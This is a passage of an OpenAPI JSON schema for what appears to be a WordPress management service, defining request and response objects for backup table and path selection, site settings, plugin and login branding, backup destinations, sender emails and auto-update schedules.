"array", "description": "Directory paths successfully marked to skip after duplicate paths are processed once.", "items": { "type": "string" }, "example": [ "./wp-content/cache/" ] }, "errors": { "type": "array", "description": "Failed paths that were not marked to skip.", "items": { "type": "object", "required": [ "path", "code", "message" ], "properties": { "path": { "type": "string", "description": "Submitted directory path that could not be marked to skip.", "example": "./missing-folder/" }, "code": { "type": "string", "enum": [ "path_not_found", "path_not_directory" ], "description": "Machine-readable reason this path failed validation.", "example": "path_not_found" }, "message": { "type": "string", "description": "Human-readable explanation for the failed path.", "example": "Path not found in snapshot" } } } } } }, "meta": { "$ref": "#/components/schemas/SiteFileOperationMeta" } }, "example": { "skip": { "paths": [ "./wp-content/cache/" ], "errors": [ { "path": "./missing-folder/", "code": "path_not_found", "message": "Path not found in snapshot" } ] }, "meta": { "requested": 2, "succeeded": 1, "failed": 1 } } }, "SiteTableOperationMeta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "description": "Counts for a sync or skip table request after duplicate names are processed once.", "properties": { "requested": { "type": "integer", "minimum": 0, "description": "Number of unique table names processed.", "example": 3 }, "succeeded": { "type": "integer", "minimum": 0, "description": "Number of table names processed successfully.", "example": 2 }, "failed": { "type": "integer", "minimum": 0, "description": "Number of table names returned in the errors array.", "example": 1 } }, "example": { "requested": 3, "succeeded": 2, "failed": 1 } }, "SiteTableOperationResult": { "type": "object", "required": [ "tables", "errors" ], "description": "Result for table names that were processed successfully or rejected.", "properties": { "tables": { "type": "array", "description": "Table names processed successfully after leading and trailing whitespace is ignored and duplicate names are processed once.", "items": { "type": "string" }, "example": [ "wp_posts", "wp_options" ] }, "errors": { "type": "array", "description": "Failed table names that were rejected.", "items": { "type": "object", "required": [ "table", "code", "message" ], "properties": { "table": { "type": "string", "description": "Submitted table name that was rejected.", "example": "wp_missing" }, "code": { "type": "string", "enum": [ "table_not_found" ], "description": "Machine-readable reason this table failed validation.", "example": "table_not_found" }, "message": { "type": "string", "description": "Human-readable explanation for the failed table name.", "example": "Table not found in snapshot" } } } } }, "example": { "tables": [ "wp_posts" ], "errors": [ { "table": "wp_missing", "code": "table_not_found", "message": "Table not found in snapshot" } ] } }, "ListSiteTablesRequest": { "type": "object", "required": [ "site_id" ], "additionalProperties": true, "description": "Path and query parameters for listing database tables in a completed backup snapshot.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "snapshot_id": { "type": "string", "description": "Snapshot ID. When omitted, the latest completed backup snapshot is used.", "example": "987654" }, "filters": { "$ref": "#/components/schemas/ListSiteTablesFilters" }, "sort": { "$ref": "#/components/schemas/ListSiteTablesSort" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of table entries per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "snapshot_id": "987654", "filters": { "name:contains": "wp_", "rows:gte": 100, "size:lte": 10485760, "status:eq": "synced" }, "sort": "size,desc", "page": 1, "perPage": 100 } }, "ListSiteTablesResponse": { "type": "object", "required": [ "tables", "meta" ], "description": "Response envelope returned with a paginated list of database tables.", "properties": { "tables": { "type": "array", "description": "Database tables in the selected completed backup snapshot.", "items": { "type": "object", "required": [ "name", "rows", "size", "created_at", "status" ], "description": "Database table entry from a completed backup snapshot.", "properties": { "name": { "type": "string", "description": "Database table name.", "example": "wp_posts" }, "rows": { "type": "integer", "minimum": 0, "description": "Row count for the table in the snapshot.", "example": 1200 }, "size": { "type": "integer", "minimum": 0, "description": "Table data size in bytes in the snapshot.", "example": 409600 }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Table creation time in the snapshot, or null when unavailable.", "example": "2026-01-09T09:06:43Z" }, "status": { "type": "string", "enum": [ "synced", "skipped" ], "description": "Whether the table is included in or skipped from future backups.", "example": "synced" } }, "example": { "name": "wp_posts", "rows": 1200, "size": 409600, "created_at": "2026-01-09T09:06:43Z", "status": "synced" } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "tables": [ { "name": "wp_options", "rows": 100, "size": 4096, "created_at": "2026-01-09T09:06:43Z", "status": "synced" }, { "name": "wp_posts", "rows": 50, "size": 8192, "created_at": "2026-01-09T09:06:43Z", "status": "skipped" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ShowSiteTableStatsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for showing database table totals.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "snapshot_id": { "type": "string", "description": "Snapshot ID. When omitted, the latest completed backup snapshot is used.", "example": "987654" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "snapshot_id": "987654" } }, "ShowSiteTableStatsResponse": { "type": "object", "required": [ "stats" ], "description": "Response envelope returned with database table stats.", "properties": { "stats": { "type": "object", "required": [ "tables" ], "description": "Database table stats for a completed backup snapshot.", "properties": { "tables": { "type": "object", "required": [ "total", "synced", "skipped" ], "description": "Counts for database tables.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total number of tables in the snapshot.", "example": 42 }, "synced": { "type": "integer", "minimum": 0, "description": "Number of tables included in future backups.", "example": 30 }, "skipped": { "type": "integer", "minimum": 0, "description": "Number of tables skipped from future backups.", "example": 12 } }, "example": { "total": 42, "synced": 30, "skipped": 12 } } }, "example": { "tables": { "total": 42, "synced": 30, "skipped": 12 } } } }, "example": { "stats": { "tables": { "total": 42, "synced": 30, "skipped": 12 } } } }, "SyncSiteTablesRequest": { "type": "object", "required": [ "tables" ], "additionalProperties": true, "description": "Request body for choosing database tables to include in future backups.", "properties": { "tables": { "type": "array", "minItems": 1, "description": "Database table names to include in future backups. Leading and trailing whitespace is ignored, duplicate names are processed once, and blank names are rejected.", "items": { "type": "string", "minLength": 1 }, "example": [ "wp_posts", "wp_options" ] } }, "example": { "tables": [ "wp_posts", "wp_options" ] } }, "SyncSiteTablesResponse": { "type": "object", "required": [ "sync", "meta" ], "description": "Response envelope returned after table names are marked for inclusion.", "properties": { "sync": { "$ref": "#/components/schemas/SiteTableOperationResult" }, "meta": { "$ref": "#/components/schemas/SiteTableOperationMeta" } }, "example": { "sync": { "tables": [ "wp_posts" ], "errors": [ { "table": "wp_missing", "code": "table_not_found", "message": "Table not found in snapshot" } ] }, "meta": { "requested": 2, "succeeded": 1, "failed": 1 } } }, "SkipSiteTablesRequest": { "type": "object", "required": [ "tables" ], "additionalProperties": true, "description": "Request body for choosing database tables to skip in future backups.", "properties": { "tables": { "type": "array", "minItems": 1, "description": "Database table names to exclude from future backups. Leading and trailing whitespace is ignored, duplicate names are processed once, and blank names are rejected.", "items": { "type": "string", "minLength": 1 }, "example": [ "wp_cache", "wp_temp_logs" ] } }, "example": { "tables": [ "wp_cache", "wp_temp_logs" ] } }, "SkipSiteTablesResponse": { "type": "object", "required": [ "skip", "meta" ], "description": "Response envelope returned after table names are marked to skip.", "properties": { "skip": { "$ref": "#/components/schemas/SiteTableOperationResult" }, "meta": { "$ref": "#/components/schemas/SiteTableOperationMeta" } }, "example": { "skip": { "tables": [ "wp_cache" ], "errors": [ { "table": "wp_missing", "code": "table_not_found", "message": "Table not found in snapshot" } ] }, "meta": { "requested": 2, "succeeded": 1, "failed": 1 } } }, "SiteSettingsToggle": { "type": "object", "required": [ "enabled" ], "additionalProperties": false, "description": "Enabled state for one site setting control.", "properties": { "enabled": { "type": "boolean", "description": "Whether the setting is enabled.", "example": true } }, "example": { "enabled": true } }, "ShowSiteSettingsResponse": { "type": "object", "required": [ "settings" ], "additionalProperties": false, "description": "Response envelope returned with site settings.", "properties": { "settings": { "type": "object", "required": [ "wp_auto_updates", "woocommerce_db_upgrade" ], "additionalProperties": false, "description": "Current site settings for one WordPress site.", "properties": { "wp_auto_updates": { "$ref": "#/components/schemas/SiteSettingsToggle" }, "woocommerce_db_upgrade": { "$ref": "#/components/schemas/SiteSettingsToggle" } }, "example": { "wp_auto_updates": { "enabled": true }, "woocommerce_db_upgrade": { "enabled": true } } } }, "example": { "settings": { "wp_auto_updates": { "enabled": true }, "woocommerce_db_upgrade": { "enabled": true } } } }, "UpdateSiteSettingsRequest": { "type": "object", "required": [ "settings" ], "additionalProperties": true, "description": "Request body for partially updating site settings.", "properties": { "settings": { "type": "object", "required": [], "additionalProperties": true, "description": "Site settings to update. Include at least one supported setting. Omitted settings are left unchanged.", "anyOf": [ { "required": [ "wp_auto_updates" ] }, { "required": [ "woocommerce_db_upgrade" ] } ], "properties": { "wp_auto_updates": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "WordPress auto-update setting to update. Include `enabled`.", "properties": { "enabled": { "type": "boolean", "description": "Whether WordPress auto-updates are enabled for the site. Must be a JSON boolean.", "example": false } } }, "woocommerce_db_upgrade": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "WooCommerce database upgrade setting to update. Include `enabled`.", "properties": { "enabled": { "type": "boolean", "description": "Whether WooCommerce database upgrades are enabled for the site. Must be a JSON boolean.", "example": true } } } } } }, "example": { "settings": { "wp_auto_updates": { "enabled": false }, "woocommerce_db_upgrade": { "enabled": true } } } }, "SitePluginBrandingResponse": { "type": "object", "required": [ "plugin_branding" ], "additionalProperties": false, "description": "Response envelope for site plugin branding.", "properties": { "plugin_branding": { "type": "object", "required": [ "type", "name", "description", "author" ], "additionalProperties": false, "description": "Site plugin branding returned by show and update.", "properties": { "type": { "type": "string", "enum": [ "default", "same_as_account", "custom", "hidden" ], "description": "Resolved site plugin branding mode.", "example": "same_as_account" }, "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin display name, or null when the applied branding hides the plugin.", "example": "Site Guardian" }, "description": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin description, or null when the applied branding hides the plugin.", "example": "Managed WordPress security and backup" }, "author": { "type": "object", "required": [ "name", "url" ], "additionalProperties": false, "description": "Public plugin author details for site plugin branding.", "properties": { "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin author name, or null when the applied branding hides the plugin.", "example": "Acme Agency" }, "url": { "oneOf": [ { "type": "string", "format": "uri" }, { "type": "null" } ], "description": "Plugin author URL, or null when hidden or omitted.", "example": "https://example.com" } } } }, "example": { "type": "same_as_account", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "example": { "plugin_branding": { "type": "same_as_account", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "UpdateSitePluginBrandingRequest": { "type": "object", "required": [ "plugin_branding" ], "additionalProperties": true, "description": "Request body for updating site plugin branding.", "properties": { "plugin_branding": { "type": "object", "required": [ "type" ], "additionalProperties": true, "description": "Plugin display details to apply to the site. For `custom`, include non-blank `name`, `description`, and `author.name`; for `default`, `same_as_account`, and `hidden`, only `type` is used.", "properties": { "type": { "type": "string", "enum": [ "default", "same_as_account", "custom", "hidden" ], "description": "Branding mode to apply. Use `default` for default plugin details, `same_as_account` to inherit account branding, `custom` for submitted details, or `hidden` to hide the plugin.", "example": "custom" }, "name": { "type": "string", "description": "Custom plugin display name. Required and non-blank for `custom`; ignored for other types.", "example": "Site Guardian" }, "description": { "type": "string", "minLength": 10, "description": "Custom plugin description. Required for `custom` and must be at least 10 characters after trimming; ignored for other types.", "example": "Managed WordPress security and backup" }, "author": { "type": "object", "required": [], "additionalProperties": true, "description": "Custom plugin author details. `name` is required for `custom`; ignored for other types.", "properties": { "name": { "type": "string", "description": "Custom author name. Required and non-blank for `custom`; ignored for other types.", "example": "Acme Agency" }, "url": { "type": "string", "format": "uri", "description": "Optional custom author URL. Must be HTTP or HTTPS when present; blank or omitted values are saved as null.", "example": "https://example.com" } } } }, "example": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "example": { "plugin_branding": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "SiteWpLoginResponse": { "type": "object", "required": [ "wp_login" ], "additionalProperties": false, "description": "Response envelope for site WP Login branding.", "properties": { "wp_login": { "type": "object", "required": [ "type", "logo_file", "label", "error_message", "tooltip", "sender_email" ], "additionalProperties": false, "description": "Site WP Login branding returned by show and update.", "properties": { "type": { "type": "string", "enum": [ "default", "same_as_account", "custom" ], "description": "Resolved site WP Login branding mode.", "example": "custom" }, "logo_file": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Login logo as a base64 PNG or JPEG image, or null when no logo is active.", "example": null }, "label": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Login page label, or null when no label is active.", "example": "Acme Login" }, "error_message": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Error message shown in the login flow, or null when no custom or inherited message is active.", "example": "The code you entered is incorrect." }, "tooltip": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Help text shown in the login flow, or null when no help text is active.", "example": "Need help? Contact site support." }, "sender_email": { "oneOf": [ { "type": "object", "required": [ "id", "email" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" }, "email": { "type": "string", "format": "email", "description": "Sender email address.", "example": "support@example.com" } } }, { "type": "null" } ], "description": "Selected sender email, or null when the standard sender is used." } }, "example": { "type": "custom", "logo_file": null, "label": "Acme Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact site support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg", "email": "support@example.com" } } } }, "example": { "wp_login": { "type": "custom", "logo_file": null, "label": "Acme Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact site support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg", "email": "support@example.com" } } } }, "UpdateSiteWpLoginRequest": { "type": "object", "required": [ "wp_login" ], "additionalProperties": true, "description": "Request body for updating site WP Login branding.", "properties": { "wp_login": { "type": "object", "required": [ "type" ], "additionalProperties": true, "description": "Login-screen display details to apply to the site. For `custom`, include non-blank `error_message` and `tooltip`; omitted `logo_file`, `label`, and `sender_email` values are saved as `null`. For `default` and `same_as_account`, only `type` is used.", "properties": { "type": { "type": "string", "enum": [ "default", "same_as_account", "custom" ], "description": "Branding mode to apply. Use `default` for standard WordPress login behavior, `same_as_account` to inherit account branding, or `custom` for submitted site-specific details.", "example": "custom" }, "logo_file": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Custom login logo as a base64-encoded PNG or JPEG image. Maximum decoded size is 40 KB; omitted or `null` values are saved as `null`.", "example": null }, "label": { "oneOf": [ { "type": "string", "maxLength": 100 }, { "type": "null" } ], "description": "Custom login page label. Maximum 100 characters; omitted or `null` values are saved as `null`.", "example": null }, "error_message": { "oneOf": [ { "type": "string", "maxLength": 200 }, { "type": "null" } ], "description": "Custom error message shown in the login flow. Required and non-blank for `custom`; maximum 200 characters.", "example": "The code you entered is incorrect." }, "tooltip": { "oneOf": [ { "type": "string", "maxLength": 200 }, { "type": "null" } ], "description": "Custom help text shown in the login flow. Required and non-blank for `custom`; maximum 200 characters.", "example": "Need help? Contact site support." }, "sender_email": { "oneOf": [ { "type": "object", "required": [ "id" ], "additionalProperties": true, "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" } } }, { "type": "null" } ], "description": "Sender email selected for custom login branding. Send `null` or omit it to use the standard sender." } }, "example": { "type": "custom", "logo_file": null, "label": null, "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact site support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg" } } } }, "example": { "wp_login": { "type": "custom", "logo_file": null, "label": null, "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact site support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg" } } } }, "ListClientsSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned clients.", "example": "created_at,desc" }, "ListClientsFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned clients.", "example": { "search:contains": "Acme", "email:contains": "client@", "company_name:contains": "Acme" } }, "PaginationMetadata": { "type": "object", "required": [ "page", "perPage", "totalPages", "totalItems" ], "properties": { "page": { "type": "integer", "description": "Current page number.", "example": 1 }, "perPage": { "type": "integer", "description": "Number of items per page.", "example": 100 }, "totalPages": { "type": "integer", "description": "Total number of pages.", "example": 1 }, "totalItems": { "type": "integer", "description": "Total number of items across all pages.", "example": 98 } } }, "ErrorEnvelope": { "type": "object", "required": [ "status", "code", "message" ], "properties": { "status": { "type": "integer", "description": "HTTP status code for the error response.", "example": 401 }, "code": { "type": "string", "description": "Stable error code for the response. Use this for programmatic handling.", "enum": [ "bad_request", "unauthorized", "forbidden", "not_found", "conflict", "unprocessable_entity", "too_many_requests", "service_unavailable" ], "example": "unauthorized" }, "message": { "type": "string", "description": "Summary of the error.", "example": "Authentication is required to access this resource." }, "details": { "type": "array", "description": "Additional field-level or request-specific errors, when available.", "items": { "$ref": "#/components/schemas/ErrorDetail" } } } }, "TooManyRequestsError": { "allOf": [ { "$ref": "#/components/schemas/ApiError" } ], "description": "429 Too Many Requests. Returned when the request rate exceeds the allowed limit.\n", "example": { "error": { "status": 429, "code": "too_many_requests", "message": "Rate limit exceeded. Please try again later." } } }, "CreateClientResponse": { "type": "object", "required": [ "client" ], "description": "Client returned after creation.", "properties": { "client": { "$ref": "#/components/schemas/Client" } } }, "ListManagedAccountsSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned managed accounts.", "example": "created_at,desc" }, "ListManagedAccountsFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned managed accounts.", "example": { "email:contains": "owner@", "status:eq": "pending", "role:eq": "collaborator" } }, "ListBackupDestinationsResponse": { "type": "object", "required": [ "backup_destinations" ], "description": "Response envelope for account-level backup destinations.", "properties": { "backup_destinations": { "type": "array", "description": "Backup destinations available for backup uploads in your account.", "items": { "$ref": "#/components/schemas/BackupDestination" } } }, "example": { "backup_destinations": [ { "id": "bkd_4ac72f9d10b84621", "provider": "dropbox", "provider_label": "Dropbox", "name": "Dropbox", "status": "active", "connected": true, "email": "dropbox@example.com", "provider_account_id": null, "provider_metadata": {}, "config": {}, "last_tested_at": null, "last_error_code": null, "last_error_message": null, "created_at": "2026-06-09T09:30:00Z", "updated_at": "2026-06-10T10:00:00Z" }, { "id": "bkd_8fd93a2c91e44d19", "provider": "google_drive", "provider_label": "Google Drive", "name": "Google Drive", "status": "active", "connected": true, "email": "drive@example.com", "provider_account_id": "google-account-id", "provider_metadata": { "folder_id": "folder-id", "folder_name": "Site Backups" }, "config": { "folder_policy": "app_folder", "folder_name": "Site Backups" }, "last_tested_at": "2026-06-10T10:00:00Z", "last_error_code": null, "last_error_message": null, "created_at": "2026-06-10T09:30:00Z", "updated_at": "2026-06-10T10:00:00Z" } ] } }, "ShowBackupDestinationResponse": { "type": "object", "required": [ "backup_destination" ], "description": "Response envelope for one backup destination.", "properties": { "backup_destination": { "$ref": "#/components/schemas/BackupDestination" } }, "example": { "backup_destination": { "id": "bkd_8fd93a2c91e44d19", "provider": "google_drive", "provider_label": "Google Drive", "name": "Google Drive", "status": "active", "connected": true, "email": "drive@example.com", "provider_account_id": "google-account-id", "provider_metadata": { "folder_id": "folder-id", "folder_name": "Site Backups" }, "config": { "folder_policy": "app_folder", "folder_name": "Site Backups" }, "last_tested_at": "2026-06-10T10:00:00Z", "last_error_code": null, "last_error_message": null, "created_at": "2026-06-10T09:30:00Z", "updated_at": "2026-06-10T10:00:00Z" } } }, "TestBackupDestinationResponse": { "type": "object", "required": [ "backup_destination" ], "description": "Response envelope returned after a backup destination test completes successfully.", "properties": { "backup_destination": { "$ref": "#/components/schemas/BackupDestination" } }, "example": { "backup_destination": { "id": "bkd_8fd93a2c91e44d19", "provider": "google_drive", "provider_label": "Google Drive", "name": "Google Drive", "status": "active", "connected": true, "email": "drive@example.com", "provider_account_id": "google-account-id", "provider_metadata": { "folder_id": "folder-id", "folder_name": "Site Backups" }, "config": { "folder_policy": "app_folder", "folder_name": "Site Backups" }, "last_tested_at": "2026-06-10T10:00:00Z", "last_error_code": null, "last_error_message": null, "created_at": "2026-06-10T09:30:00Z", "updated_at": "2026-06-10T10:00:00Z" } } }, "DisconnectBackupDestinationResponse": { "type": "object", "required": [ "backup_destination" ], "description": "Response envelope returned after a backup destination is disconnected.", "properties": { "backup_destination": { "$ref": "#/components/schemas/BackupDestination" } }, "example": { "backup_destination": { "id": "bkd_8fd93a2c91e44d19", "provider": "google_drive", "provider_label": "Google Drive", "name": "Google Drive", "status": "inactive", "connected": false, "email": null, "provider_account_id": null, "provider_metadata": {}, "config": {}, "last_tested_at": null, "last_error_code": null, "last_error_message": null, "created_at": "2026-06-10T09:30:00Z", "updated_at": "2026-06-10T10:15:00Z" } } }, "ListSenderEmailsSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned sender emails.", "example": "created_at,desc" }, "ListSenderEmailsFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned sender emails.", "properties": { "email:contains": { "type": "string", "description": "Case-insensitive match against the sender email address.", "example": "reports" }, "name:contains": { "type": "string", "description": "Case-insensitive match against the sender display name.", "example": "Reports" }, "status:eq": { "type": "string", "description": "Sender verification status to match.", "example": "verified" }, "domain_dkim_verified:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether the DKIM DNS details are verified.", "example": true }, "domain_return_path_verified:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether the return-path DNS details are verified.", "example": false }, "created_at:gte": { "type": "string", "format": "date-time", "description": "Return sender emails created at or after this timestamp.", "example": "2026-01-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Return sender emails created at or before this timestamp.", "example": "2026-02-01T00:00:00Z" }, "updated_at:gte": { "type": "string", "format": "date-time", "description": "Return sender emails updated at or after this timestamp.", "example": "2026-01-01T00:00:00Z" }, "updated_at:lte": { "type": "string", "format": "date-time", "description": "Return sender emails updated at or before this timestamp.", "example": "2026-02-01T00:00:00Z" } }, "example": { "email:contains": "reports", "status:eq": "verified" } }, "ListAutoUpdateSchedulesSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned auto update schedules.", "example": "created_at,desc" }, "ListAutoUpdateSchedulesFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned auto update schedules.", "properties": { "name:contains": { "type": "string", "description": "Match auto update schedules whose name contains this value.", "example": "production" }, "status:eq": { "type": "string", "description": "Schedule status to match. Supported values for matching are `active` and `paused`.", "example": "active" }, "status:in": { "type": "array", "description": "Schedule statuses to match. Supported values for matching are `active` and `paused`.", "items": { "type": "string" }, "example": [ "active" ] }, "schedule:eq": { "type": "string", "description": "Recurrence to match. Supported values for matching are `daily`, `weekly_on_day`, `biweekly`, `monthly_on_date`, `monthly_on_week`, and `monthly_last_day`.", "example": "weekly_on_day" }, "schedule:in": { "type": "array", "description": "Recurrences to match. Supported values for matching are `daily`, `weekly_on_day`, `biweekly`, `monthly_on_date`, `monthly_on_week`, and `monthly_last_day`.", "items": { "type": "string" }, "example": [ "weekly_on_day", "monthly_on_date" ] }, "update_types:in": { "type": "array", "description": "Update categories that must be present in the schedule. Supported values for matching are `plugin`, `theme`, and `core`.", "items": { "type": "string" }, "example": [ "plugin", "core" ] }, "site_id:in": { "type": "array", "description": "Site IDs used to match schedules targeting those sites.", "items": { "type": "string" }, "example": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] }, "has_backup:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether schedules take a backup before updates.", "example": true }, "has_vr:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether schedules run visual regression checks.", "example": false }, "started_at:gte": { "type": "string", "format": "date-time", "description": "Return schedules with initial run time at or after this timestamp.", "example": "2026-03-01T00:00:00Z" }, "started_at:lte": { "type": "string", "format": "date-time", "description": "Return schedules with initial run time at or before this timestamp.", "example": "2026-04-01T00:00:00Z" }, "next_update_at:gte": { "type": "string", "format": "date-time", "description": "Return schedules with next run time at or after this timestamp.", "example": "2026-03-01T00:00:00Z" }, "next_update_at:lte": { "type": "string", "format": "date-time", "description": "Return schedules with next run time at or before this timestamp.", "example": "2026-04-01T00:00:00Z" }, "created_at:gte": { "type": "string", "format": "date-time", "description": "Return schedules created at or after this timestamp.", "example": "2026-02-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Return schedules created at or before this timestamp.", "example": "2026-03-01T00:00:00Z" }, "updated_at:gte": { "type": "string", "format": "date-time", "description": "Return schedules updated at or after this timestamp.", "example": "2026-02-01T00:00:00Z" }, "updated_at:lte": { "type": "string", "format": "date-time", "description": "Return schedules updated at or before this timestamp.", "example": "2026-03-01T00:00:00Z" } }, "example": { "status:eq": "active", "update_types:in": [ "plugin", "core" ], "site_id:in": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] } }, "AutoUpdateScheduleId": { "type": "string", "description": "Auto update schedule ID.", "example": "aU8nK5xR2mL7pQ4vT6hY9bFd" }, "AutoUpdateScheduleFrequency": { "type": "string", "enum": [ "daily", "weekly_on_day", "biweekly", "monthly_on_date", "monthly_on_week", "monthly_last_day" ], "description": "Recurrence used to schedule WordPress updates.", "example": "weekly_on_day" }, "AutoUpdateScheduleUpdateCategoryResponse": { "type": "object", "required": [ "selection", "filenames" ], "description": "Plugin or theme update selection returned for a schedule.", "properties": { "selection": { "type": "string", "enum": [ "all", "specific", "all_except" ], "description": "Category selection mode. `all_except` means all plugins or themes are included except the listed filenames.", "example": "all" }, "filenames": { "type": "array", "description": "Selected filenames for `specific`, excluded filenames for `all_except`, and empty for `all`.", "items": { "type": "string" }, "example": [] } }, "example": { "selection": "all", "filenames": [] } }, "AutoUpdateSchedule": { "type": "object", "required": [ "id", "name", "status", "schedule", "started_at", "next_update_at", "scope", "options", "created_at", "updated_at" ], "description": "Auto update schedule that runs recurring WordPress updates for selected sites.", "properties": { "id": { "$ref": "#/components/schemas/AutoUpdateScheduleId" }, "name": { "type": "string", "description": "Display name for the schedule.", "example": "Weekly production updates" }, "status": { "type": "string", "enum": [ "active", "paused" ], "description": "Whether the schedule currently runs automatically.", "example": "active" }, "schedule": { "$ref": "#/components/schemas/AutoUpdateScheduleFrequency" }, "started_at": { "type": "string", "format": "date-time", "description": "First scheduled run time.", "example": "2026-03-03T02:30:00Z" }, "next_update_at": { "type": "string", "format": "date-time", "description": "Next scheduled run time.", "example": "2026-03-10T02:30:00Z" }, "scope": { "type": "object", "required": [ "sites", "updates" ], "description": "Selected sites and update categories for the schedule.", "properties": { "sites": { "type": "object", "required": [ "selection" ], "description": "WordPress sites selected for the schedule.", "properties": { "selection": { "type": "string", "enum": [ "all", "specific", "all_except" ], "description": "Site selection mode for the schedule.", "example": "specific" }, "ids": { "type": "array", "description": "Site IDs for `specific`, excluded site IDs for `all_except`, and omitted when `selection` is `all`.", "items": { "type": "string" }, "example": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] } }, "example": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] } }, "updates": { "type": "object", "required": [ "wordpress_core" ], "description": "WordPress update categories selected for the schedule.", "properties": { "wordpress_core": { "type": "boolean", "description": "Whether WordPress core is included in scheduled updates.", "example": true }, "plugins": { "$ref": "#/components/schemas/AutoUpdateScheduleUpdateCategoryResponse" }, "themes": { "$ref": "#/components/schemas/AutoUpdateScheduleUpdateCategoryResponse" } }, "example": { "wordpress_core": true, "plugins": { "selection": "all", "filenames": [] } } } }, "example": { "sites": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] }, "updates": { "wordpress_core": true, "plugins": { "selection": "all", "filenames": [] } } } }, "options": { "type": "object", "required": [ "backup", "visual_regression" ], "description": "Backup and visual regression options for the schedule.", "properties": { "backup": { "type": "boolean", "description": "Whether the schedule is configured to take a backup before updates.", "example": true }, "visual_regression": { "type": "boolean", "description": "Whether the schedule is configured to run visual regression checks.", "example": false } }, "example": { "backup": true, "visual_regression": false } }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the schedule was created.", "example": "2026-02-28T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the schedule was last updated.", "example": "2026-02-28T10:00:00Z" } }, "example": { "id": "aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates", "status": "active", "schedule": "weekly_on_day", "started_at": "2026-03-03T02:30:00Z", "next_update_at": "2026-03-10T02:30:00Z", "scope": { "sites": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] }, "updates": { "wordpress_core": true, "plugins": { "selection": "all", "filenames": [] } } }, "options": { "backup": true, "visual_regression": false }, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:00:00Z" } }, "ListAutoUpdateSchedulesResponse": { "type": "object", "required": [ "auto_update_schedules", "meta" ], "description": "Paginated response envelope for auto update schedules.", "properties": { "auto_update_schedules": { "type": "array", "description": "Auto update schedules in your account.", "items": { "$ref": "#/components/schemas/AutoUpdateSchedule" } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for this auto update schedule list response.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "auto_update_schedules": [ { "id": 